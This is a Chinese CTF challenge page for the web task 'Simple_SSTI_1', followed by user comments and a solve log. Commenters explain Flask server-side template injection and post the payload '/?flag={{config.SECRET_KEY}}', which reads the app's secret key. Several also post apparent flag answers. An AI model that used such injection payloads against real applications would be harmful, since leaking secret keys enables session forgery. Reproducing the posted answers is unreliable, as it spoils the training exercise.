Simple_SSTI_1WEB 未解决

分数: 5 金币: 2
题目作者: valecalida
一　　血: dotast
一血奖励: 2金币
解　　决: 28223
提　　示:
描　　述:
Simple_SSTI_1
...
登录回复
评论
tqn0312 2年前
举报

这是要干什么啊，一脸懵逼

回复 1
RcookieCookie 2年前
举报

flask模板里有一个重要的配置变量叫SECRET_KEY,用注入的方法获取到这个变量的值就可以了。SSTI的意思是模板注入

回复 0
joec 2年前
举报

6f12b67d0c6fb7c61136e12e876a5ccc

回复 0
DK2021 2年前
举报

flag{fb6d9d0fae960a37d270e86bd0e18351}

回复 0
bugku1233 2年前
举报

/?flag={{config.SECRET_KEY}}

回复 0
earlyyue 2年前
举报

/?flag={{config}}

回复 0
18388740784 2年前
举报

/?flag={{config.SECRET_KEY}}

回复 0
18388740784 2年前
举报

flag{7bccd1d601dcab5089fa6ecd613fb660}

回复 0
007BD 2年前
举报

flag{1767bf18bfd1d6480293cae5e887d6c8}

回复 0
mcreterro 2年前
举报

flag{7eaa2b831d30917808b7994cb4e746bb}

回复 0
lushao 2年前
举报

我是废物

回复 4

WriteUp

image
valecalida

5 金币

立即查看

评分(49)

解题动态

小敏bebe 攻破了该题 51分钟前
Hehe0619 攻破了该题 4小时前
19588971187 攻破了该题 23小时前
a1451753998 攻破了该题 1天前
merrymu 攻破了该题 1天前
春遇枝庭 攻破了该题 2天前
ding0520 攻破了该题 2天前
wzl真帅 攻破了该题 3天前
大棕兔爸爸 攻破了该题 3天前
YGLZ 攻破了该题 3天前
qidianzhi 攻破了该题 4天前
Kristina 攻破了该题 4天前
跃迁ctfer 攻破了该题 7天前
tsoor 攻破了该题 7天前
maomaoht 攻破了该题 8天前
2606579533 攻破了该题 10天前
网络安全亮 攻破了该题 10天前
千机www 攻破了该题 11天前
fengci 攻破了该题 11天前
hackerbugku 攻破了该题 15天前
问题反馈